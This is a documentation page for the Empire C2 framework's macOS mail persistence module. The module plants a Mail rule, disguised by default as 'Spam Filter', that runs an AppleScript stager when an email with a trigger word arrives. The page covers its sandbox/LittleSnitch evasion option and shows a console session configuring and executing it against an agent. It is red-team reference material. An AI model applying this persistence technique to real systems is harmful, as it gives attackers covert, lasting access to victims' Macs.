Mail - Empire Module
This page contains detailed information about how to use the python/persistence/osx/mail Empire module. For list of all Empire modules, visit the Empire Module Library.
Module Overview
Name: Mail
Module: python/persistence/osx/mail
Source code [1]: empire/server/modules/python/persistence/osx/mail.yaml
Source code [2]: empire/server/modules/python/persistence/osx/mail.py
MITRE ATT&CK:
T1155
Language: Python
Needs admin: No
OPSEC safe: No
Background: No
The mail module installs a mail rule that will execute an AppleScript stager when a trigger word is present in the Subject of an incoming mail.
This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.
Note that the mail module does not need administrative privileges to work properly which means that a normal user can run this module.
Required Module Options
This is a list of options that are required by the mail module:
Agent
Agent to execute module on.
Listener
Listener to use.
RuleName
Name of the Rule.
Default value: Spam Filter
.
SafeChecks
Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.
Default value: True
.
Trigger
The trigger word.
Additional Module Options
This is a list of additional options that are supported by the mail module:
UserAgent
User-agent string to use for the staging request (default, none, or other).
Default value: default
.
Mail Example Usage
Here's an example of how to use the mail module in the Empire client console:
[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/osx/ducky) > usemodule python/persistence/osx/mail
Author @n00py
Background False
Comments https://github.com/n00py/MailPersist
Description Installs a mail rule that will execute an AppleScript stager when a
trigger word is present in the Subject of an incoming mail.
Language python
Name python/persistence/osx/mail
NeedsAdmin False
OpsecSafe False
Techniques http://attack.mitre.org/techniques/T1155
,Record Options------------,----------,-------------------------------------,
| Name | Value | Required | Description |
|------------|-------------|----------|-------------------------------------|
| Agent | | True | Agent to execute module on. |
|------------|-------------|----------|-------------------------------------|
| Listener | | True | Listener to use. |
|------------|-------------|----------|-------------------------------------|
| RuleName | Spam Filter | True | Name of the Rule. |
|------------|-------------|----------|-------------------------------------|
| SafeChecks | True | True | Switch. Checks for LittleSnitch or |
| | | | a SandBox, exit the staging process |
| | | | if true. Defaults to True. |
|------------|-------------|----------|-------------------------------------|
| Trigger | | True | The trigger word. |
|------------|-------------|----------|-------------------------------------|
| UserAgent | default | False | User-agent string to use for the |
| | | | staging request (default, none, or |
| | | | other). |
'------------'-------------'----------'-------------------------------------'
(Empire: usemodule/python/persistence/osx/mail) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/python/persistence/osx/mail) > set Listener listener1
[*] Set Listener to listener1
(Empire: usemodule/python/persistence/osx/mail) > set RuleName Spam
[*] Set RuleName to Spam
(Empire: usemodule/python/persistence/osx/mail) > set SafeChecks True
[*] Set SafeChecks to True
(Empire: usemodule/python/persistence/osx/mail) > set Trigger value
[*] Set Trigger to value
(Empire: usemodule/python/persistence/osx/mail) > execute
[*] Tasked Y4LHEV83 to run Task 1
...
Now wait for the results to come.
Author
References
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/python/persistence/osx/mail.yaml
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/python/persistence/osx/mail.py
- https://github.com/n00py/MailPersist
- http://attack.mitre.org/techniques/T1155
- http://www.apple.com/DTDs/PropertyList-1.0.dtd
See Also
Check also the following modules related to this module:
- python/persistence/osx/LaunchAgent
- python/persistence/osx/loginhook
- python/persistence/osx/CreateHijacker
- python/persistence/osx/LaunchAgentUserLandPersistence
- python/persistence/osx/RemoveLaunchAgent
- powershell/management/mailraider/mail_search
- python/collection/osx/search_email
- powershell/management/mailraider/get_subfolders
- powershell/management/mailraider/send_mail
- powershell/management/mailraider/view_email
- powershell/management/mailraider/search_gal
- powershell/management/mailraider/get_emailitems
- powershell/management/mailraider/disable_security
Version
This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.